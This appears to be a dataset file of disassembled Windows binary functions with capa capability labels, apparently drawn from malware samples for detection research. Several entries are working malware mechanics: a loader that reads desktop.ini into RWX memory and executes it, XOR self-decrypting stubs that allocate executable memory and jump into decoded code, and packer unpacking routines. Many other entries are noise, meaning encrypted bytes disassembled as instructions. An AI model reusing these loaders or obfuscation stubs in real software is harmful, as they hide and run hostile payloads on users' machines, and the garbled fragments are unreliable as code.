joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100176c0
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov eax, dword [0x1001e7f8]
mov eax, dword [eax]
mov edx, dword [eax]
push ecx
push eax
mov eax, dword [edx + 0x22c]
call eax
test eax, eax
je 0x10017710
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005d70
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005d10
ret

Function at 0x10017720
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001e7f8]
mov eax, dword [eax]
mov edx, dword [esp + 4]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10017763
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005d70
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005d10
ret

Function at 0x10017ff3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001e108]
jne 0x10017ffd
repz ret
jmp fcn.10018482

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x2d817083
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2d8e2e01
call fcn.2d805d6a
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
push str.SoftwareMicrosoftInternet_Explorer
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x2d8170b6
xor al, al
jmp 0x2d81717e
push ebx
mov byte [ebp - 0x2c], bl
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], ebx
push 0x100
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.2d897f46
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x38], eax
inc edi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push ebx
push str.Version
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test eax, eax
jne 0x2d81712f
lea eax, [ebp - 0x28]
cmp esi, eax
je 0x2d81712f
cmp dword [ebp - 0x14], 8
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.2d897f46
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x2d81717c
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], edi
cmp eax, 0x1000
jb 0x2d817173
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.2d897f46
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.2d897f46
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
Function at 0x2d8357c4
Capabilities:
Get disk information

Disassembly:
push 0x3c
mov eax, 0x2d8e5ab1
call fcn.2d805d6a
mov esi, dword [ebp + 8]
xor ebx, ebx
push esi
call fcn.2d897f46
pop ecx
test al, al
je 0x2d83591e
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
push dword [ebp - 0x44]
push 1
call fcn.2d897f46
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x2d835926
lea eax, [ebp - 0x44]
push eax
push edi
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
mov byte [edi + 3], bl
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.2d82c3ac
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.2d8361de
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
pop ecx
pop ecx
cmp eax, 0x10
jb 0x2d8358a4
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
cmp eax, 0x1000
jb 0x2d835898
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.2d897f46
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.2d897f46
pop ecx
pop ecx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
cmp eax, 2
je 0x2d8358c0
cmp eax, 5
jne 0x2d8358c2
mov bl, 1
mov eax, dword [0x2d96a8d4]
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x2d8fb384]
call esi
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 8
jb 0x2d83591e
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x2d835915
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.2d897f46
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.2d897f46
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
xor al, al
jmp 0x2d835920
Function at 0x2d897f46
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x2d897f55
pop dword [ebp - 0x4c]
mov eax, 0x2d897f55
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xaf2cdc18
add dword [ebp - 0x5c], 0x9f256933
mov dword [ebp - 0x58], 0x65c7cdde
add dword [ebp - 0x58], 0xcc6b7e67
mov dword [ebp - 0x54], 0x4dd3dd2b
sub dword [ebp - 0x54], 0x18798fd
mov dword [ebp - 0x50], 0xd18a8bf2
add dword [ebp - 0x50], 0x2e75740e
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x9513a749
add dword [ebp - 0x5c], 0xdf5ec20d
mov dword [ebp - 0x58], 0xa617feac
sub dword [ebp - 0x58], 0x64ab9d37
mov dword [ebp - 0x54], 0xf6fc5e08
add dword [ebp - 0x54], 0x6c730e64
mov dword [ebp - 0x50], 0x58a37786
add dword [ebp - 0x50], 0xa75c887a
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x68db3
push 0
call eax
mov ecx, 0x36e0b6c9
sub ecx, 0x36e077b3
mov edx, eax
mov edi, 0x2d9ae000
add edi, dword [ebp - 0x4c]
mov esi, 0x7c443702
add esi, 0x2685e1d9
mov ebx, dword [edi]
sub dword [ebp - 0x38], 0xadcf4083
xor ebx, esi
sub dword [ebp - 0x20], edi
mov dword [edx], ebx
xor dword [ebp - 0x18], 0x38cce746
add edx, 0x4ab747dd
sub edx, 0x4ab747d9
add edi, 4
loop 0x2d898062
add eax, 0xef2b
xor ebx, ebx
add ebx, eax
add eax, 0x6f8aed5d
add eax, 0x907512a8
mov ecx, 0xf55be312
add ecx, 0x38241cee
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x47a8be
Capabilities:
Encode data using xor

Disassembly:
and eax, 0x4b67376c
pop ss
push ebp
push ecx
xor al, 0xaa
mov eax, dword es:[0x87e752fa]
dec ebp
inc edx
push ss
add eax, 0xc6f7d99b
xchg edi, eax
arpl word [ebx], di
int 6
xchg edi, eax
fistp dword [esi - 0x3d03c08b]
and esi, dword [0x24a526d2]
inc ebx
mov eax, dword [0x14bb512a]
iretd
xchg esi, eax
xor ecx, esi
dec ebx
pop ds
sbb byte [ecx + 0x1d], dh
outsd dx, dword [esi]
jne 0x47a845
je 0x47a7c3
sbb eax, 0x51f756f
ja 0x47a88f
add eax, 0x86146677
adc al, 0x86
ja 0x47a86e
sbb dl, ch
scasb al, byte es:[edi]
mov eax, dword [0x4480c662]
daa
in eax, 0x45
lds esi, [edi + ebx*8 + 0x4b3d03cb]
ja 0x47a81a
adc dword [esi + 0x666a92b9], esi
push 0x66
pop ss
pop ss
or dword [ecx + 0x37], esi
cmp al, byte [edx + 0x78]
salc
mov ah, 0x1b
test eax, 0xbda6d9a9
pop ss
xchg ebp, eax
int3
inc ecx
jg 0x47a849
mov edi, 0xa4f28129
and al, 0x58
cmc
inc eax
out 0x3d, al
push edi
mov dh, 0x2c
sbb byte [esi + 0x19], 0x60
push es
pushal
and byte [0xc6661661], bh
inc edi
inc ebp
ja 0x47a8b5
cmpsd dword [esi], dword es:[edi]
salc
loopne 0x47a829
out 0x6e, al
test byte [esi - 0x67], dl
jbe 0x47a820
rcl cl, 0xf6
and byte [esi - 0x1de8a948], 4
test bh, 0x65
mov edx, 0xc3563eb
dec ebx
xor al, byte [ebp + 0x2d]
cmc
or dword [ebx], esp
enter 0xffffffffffffc542, 0xfffffffffffffff2
pop dword [edi - 0x542d3f2c]
add dword [edi], esp
daa
invalid
daa
push esp
dec ebp
leave
or al, 0x46
add ah, byte [edi + 0x57e9274a]
jne 0x47a8f4
ja 0x47a876
aaa
rol ch, cl
mul bh
imul edi
out 0x12, al
out 0x97, al
mov bl, 0x33
frstor dword [ebp - 0x46f6411a]
sti
mov byte [esi], 0xa1
add cl, ch
invalid
test al, 4
imul ebp, dword [ebx + 0xb7e5cfe], 0x8df6929b
outsb dx, byte [esi]
jmp 0x47a906
dec edx
in al, 0x17
pop ss
push ebp
imul byte [esp + esi*2 - 0x1b]
xchg ebx, eax
mov bl, 0xe7
or al, 0x83
invalid

Function at 0x4862c9
Capabilities:
Encode data using xor

Disassembly:
aaa
add al, byte [ebp + 0x18]
adc cl, byte [edx]
cdq
add al, 0x66
add dh, dl
std
mov eax, 0xa8e3938f
jle 0x486313
jns 0x48632d
mov dl, 0x26
dec ebx
rcr byte [ecx], cl
pushal
push es
dec esi
xchg esp, eax
inc esi
test al, 0xf7
not dword [edx]
inc esp
xor eax, 0xea3a2967
pop ebp
dec ecx
jb 0x4862a7
invalid
not dword [edx]
inc esp
xor eax, 0xea3a2967
pop ebp
dec ecx
jb 0x4862a7
xor al, 0xb2
push cs
in eax, 0xf
salc
cmp eax, 0xf193bd47
bound eax, qword [esp + eax*8 + 0x3436a813]
test al, 0x7a
invalid
arpl word [edi], ax
mov word [esi], cs
wait
stc
mov dl, 0x9d
mov eax, dword [0xdf759213]
je 0x486379
mov dh, 0xb7
xchg edx, eax
sbb esp, edx
hlt
jne 0x4863de
push dword [ebp - 0x3991ead9]
adc al, 0x71
invalid
cmpsd dword [esi], dword es:[edi]
sub esi, ebp
invalid
Function at 0x4c2f0e
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
bound ebx, qword [edx + eax - 0xd3363e9]
test byte [eax], dh
cli
and dword [ecx - 0x5741b576], 0xffffffaa
mov ebx, 0xc595b3b
dec ebx
dec edx
mov esi, 0x3bbbaaa8
pop ebx
pop ecx
or al, 0x4b
or bh, byte [ecx - 0x2d]
cmp al, 0xcc
pop ebp
or al, 0xc9
cwde
dec esi
mov bl, 0x96
nop
pop ebp
xchg ecx, eax
pushfd
clc
out 0x1c, eax
shl byte [0x7d14ef63], 1
mov bl, 0xac
xor eax, dword [edx + 0x34]
add al, 0x1d
pop ds
or eax, 0xcde12669
jne 0x4c2f1b
invalid

Function at 0x54732e
Capabilities:
Encode data using xor

Disassembly:
mov dl, 0x52
push edx
xor eax, 0x5d664bca
xor bh, bh
and byte [ebx], bl
xchg edx, eax
jecxz 0x5472f3
and al, 5
push ss
lahf
mov ebx, dword [edx]
dec esi
sub ah, byte [ecx - 0x64]
invalid
jns 0x5472f2
invalid

Function at 0x560bfc
Capabilities:
Encode data using xor

Disassembly:
fcmovne st(0), st(5)
movsb byte es:[edi], byte [esi]
adc al, byte [ebx + 0x64268aaf]
or edi, edx
mov esi, 0x85d388f2

Function at 0x5aa75e
Capabilities:
Encode data using xor

Disassembly:
retf 0x9a14
add ecx, 0x11bc68bc
into
int1
push 0xca494fd5
ja 0x5aa687
add byte [eax + 0x143169f], cl
hlt
mov al, 0x88
jecxz 0x5aa781
sbb bl, byte [ecx - 0x3e]
sbb eax, 0x67cc2649
jo 0x5aa6d2
out dx, eax
out 0xb7, al
inc ebx
mov bh, 0x43
mov fs, word [ebx - 0x30]
sub al, byte [ecx + 0x5b]
and byte [edx - 0x20551491], dh
sub ebp, eax
lodsd eax, dword [esi]
out 0x5b, al
jecxz 0x5aa78e
adc al, bl
loope 0x5aa76c
loope 0x5aa6da
add eax, 0xe482538a
lcall 0xc4df, 0xa6ca873
sbb byte [ecx - 0x5b], 0x83
push ds
insb byte es:[edi], dx
or bl, bh
les eax, [eax + 0x1e83a559]
jp 0x5aa72b
xor al, 1
jp 0x5aa74e
mov edi, 0xce1dcf63
jo 0x5aa796
arpl di, cx
sbb eax, 0x8e3270ce
push esp
sub al, 0x27
mov ss, word [esp + ebp + 0x27]
adc byte [edi - 0x67], 0x70
fld xword gs:[ecx - 0x17]
cwde
inc ebx
or byte [esi - 0x4aad6570], 0x39
or edx, dword [edx - 0x1c0aa1f4]
jnp 0x5aa78a
retf
and ah, byte [ebx + 0x52]
sub ah, byte [eax + 0x452be1a4]
mov al, byte [0x452be1a4]
leave
mov bh, byte [ebp - 0x50]
jnp 0x5aa71b
mov al, 0x7b
xor byte [eax], 0xb1
insb byte es:[edi], dx
xor al, 0x16
out 0x66, al
sbb ah, byte [ecx - 0x15b8aebb]
xor byte [ecx - 0x19e9cb94], dh
sbb ah, byte [ecx - 0x15b8aebb]
dec ebx
dec edx
and dword [eax], ecx
sub edx, ecx
mov bl, 0x6b
mov edi, 0xf0b0a70a
mov ecx, dword [ecx - 0xb254456]
jecxz 0x5aa7a7
dec esi
invalid
Function at 0x5e8a3e
Capabilities:
Execute syscall

Disassembly:
idiv byte [ebx]
add al, 0xa4
sbb edx, eax
sub eax, 0x2f2b8a53
int1
jmp 0x5e89dd
salc
cmpsb byte [esi], byte es:[edi]
dec edi
shr edi, 0x2a
push 0xffffffffffffffaa
sub ch, byte [edx - 0x56]
inc byte [edx + ebx - 0x5c]
loop 0x5e89b0
xchg dword [edx], ebx
sub ecx, dword [eax]
stosd dword es:[edi], eax
popal
stc
lahf
jne 0x5e89e3
mov edi, 0x3f5fe35b
xor dl, byte [ecx + 0x43]
fucom st(1)
pushal
lahf
sti
mov al, 0xbb
mov ebp, 0x5dfbf4a5
loopne 0x5e897f
mov eax, dword [0xa312798b]
dec ebx
mov edi, dword [ecx + 0x12]
mov dword [0x99ea3b4b], eax
cmp ebp, edx
cdq
fidiv word [ecx]
insb byte es:[edi], dx
jno 0x5e8a42
int 0xff
xor dword [eax], eax
xor ah, dh
fild dword [ebp + 0x4eeeaea7]
lodsd eax, dword [esi]
xor bl, cl
mov eax, 0xc7eaa04f
jbe 0x5e8a32
ljmp 0xdb9d:0x1b3076c7
sbb ebx, dword [ebp + 0xd5edbdb]
pop esp
push edx
pop ebp
ror byte [esi + 0x75], 0xa6
pop esi
or eax, 0xc05d525c
dec esi
jne 0x5e89b5
aaa
jbe 0x5e8a06
iretd
syscall
int3
add eax, 0x90c110cc
jecxz 0x5e8a59
wait
stc
sbb byte [edi], 0x4a
insb byte es:[edi], dx
mov byte [ebp + 2], dh
ret 0x8e62
bound ecx, qword [esi + 0x2e6acd7f]
sahf
xchg esp, eax
push es
adc byte [edx - 0x5276535d], bl
lodsb al, byte [esi]
invalid
lodsd eax, dword [esi]
pop ebp
lodsb al, byte [esi]
mov dword [ebp + 0x7a15e75d], ebp
jbe 0x5e8a10
out 0x15, eax
jp 0x5e8abc
leave
add cl, byte [edi + 0x54005f31]
inc esp
pop ebx
loopne 0x5e8a20
bnd jnp 0x5e8a21
in eax, dx
mov dword [0xb626c668], eax
add al, 0x5a
mov dh, 4
pop edx
jbe 0x5e89fe
scasb al, byte es:[edi]
in eax, 0x5e
xor al, 0xf1
sub al, 0xff
dec ebx
mov esi, 0xf86fe055
add bh, ch
adc al, 0x75
retf 0x9f23
mov eax, 0x7971bc2a
pushal
invalid
cmp ch, byte [eax + 0x340392d8]
add eax, dword [ecx - 0x51869c4b]
pop ecx
push esi
das
jecxz 0x5e8a7c
cmp dword [edi + edx*8], ebx
invalid

Function at 0x63a1de
Capabilities:
Encode data using xor

Disassembly:
test al, 0xcb
and eax, 0xc0120210
or dword [ebp + 0x11c5c26d], esp
mov ch, 0x5b
rcl ah, 1
add dword [edx], eax
xchg esi, eax
add byte [edx - 0x53], ch
push ecx
aam 1
add dl, byte [esi + 0x51ad6a00]
xor al, 0x53
pop ss
pop edx
jno 0x63a1ee
push ebp
jno 0x63a215
out dx, eax
mov eax, dword [0x96897742]
dec ecx
stc
add ebp, esp
invalid
ret 0x10d6

Function at 0x63a20e
Capabilities:
Encode data using xor

Disassembly:
insd dword es:[edi], dx
ret 0x11c5
cdq
scasb al, byte es:[edi]
cmp byte [ecx + edx], ah
xor ch, byte [esi + 0x6210d6c2]
xor dword [edi + 0x6f], ebp
and ah, byte [edx - 0x4d7a5de7]
and byte [esi - 0x65], 0x5c
jb 0x63a1e7
cmpsd dword [esi], dword es:[edi]
mov dh, 0xe2
movsd dword es:[edi], dword [esi]
lds edx, [eax + 0x64]
invalid
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x40d66d6f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x42e3d0
mov ecx, 0x5f987d0c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x29cb5593
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..text
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5c1f1f79
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x100168d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100168e4
pop dword [ebp - 0x10]
mov eax, 0x100168e4
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x3e011203
sub dword [ebp - 0x20], 0xefaeccb8
mov dword [ebp - 0x1c], 0xc88e0c04
sub dword [ebp - 0x1c], 0x965abfbf
mov dword [ebp - 0x18], 0xc3c04dc
sub dword [ebp - 0x18], 0xbfefc0ae
mov dword [ebp - 0x14], 0xe7a93cd
sub dword [ebp - 0x14], 0xe7a93cd
lea eax, [ebp - 0x20]
push eax
mov eax, 0x66706161
add eax, 0xa9959eaf
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xbd7a88e3
add dword [ebp - 0x20], 0xb6f7e073
mov dword [ebp - 0x1c], 0x180cb60a
sub dword [ebp - 0x1c], 0xd6a05495
mov dword [ebp - 0x18], 0xadd39cb7
add dword [ebp - 0x18], 0xb59bcfb5
mov dword [ebp - 0x14], 0xf43b1ce3
sub dword [ebp - 0x14], 0xf43b1ce3
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x5ce8b76d
add eax, 0xb31d48a7
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x58306
push 0
call eax
mov ecx, 0x519a
mov esi, eax
mov edx, 0x3a761833
add edx, 0xd592a3cd
add edx, dword [ebp - 0x10]
mov ebx, 0x7259fc44
sub ebx, 0xa4bb79f
sub dword [ebp - 8], 0x7afe5610
mov edi, dword [edx]
add dword [ebp - 8], 0x27171e9d
xor edi, ebx
sub dword [ebp - 8], edi
mov dword [esi], edi
mov dword [ebp - 0xc], 0xe580b57d
add esi, 0xf0255502
sub esi, 0xf02554fe
add edx, 0xd5e5833c
sub edx, 0xd5e58338
loop 0x100169fb
add eax, 0x1393b
xor ebx, ebx
add ebx, eax
add eax, 0xaa2b2dd
sub eax, 0xaa2b2d8
mov ecx, 0xbd4a219f
sub ecx, 0xad4a219f
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x41cee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x41cf02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cf09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cef8
mov eax, 1
add ebx, ebx
jne 0x41cf1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cf10
jne 0x41cf2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf10
xor ecx, ecx
sub eax, 3
jb 0x41cf40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cfb2
mov ebp, eax
add ebx, ebx
jne 0x41cf4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cf58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cf7c
inc ecx
add ebx, ebx
jne 0x41cf68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cf5d
jne 0x41cf79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cf9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cf8d
jmp 0x41cefe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cf9c
add edi, ecx
jmp 0x41cefe
pop esi
mov edi, esi
mov ecx, 0x157
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cfba
cmp byte [edi], 0
jne 0x41cfba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cfbf
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d02e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d100]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cfec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d104]
or eax, eax
je 0x41d028
mov dword [ebx], eax
add ebx, 4
jmp 0x41d009
call dword [esi + 0x1d108]
popal
jmp 0x403ab4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx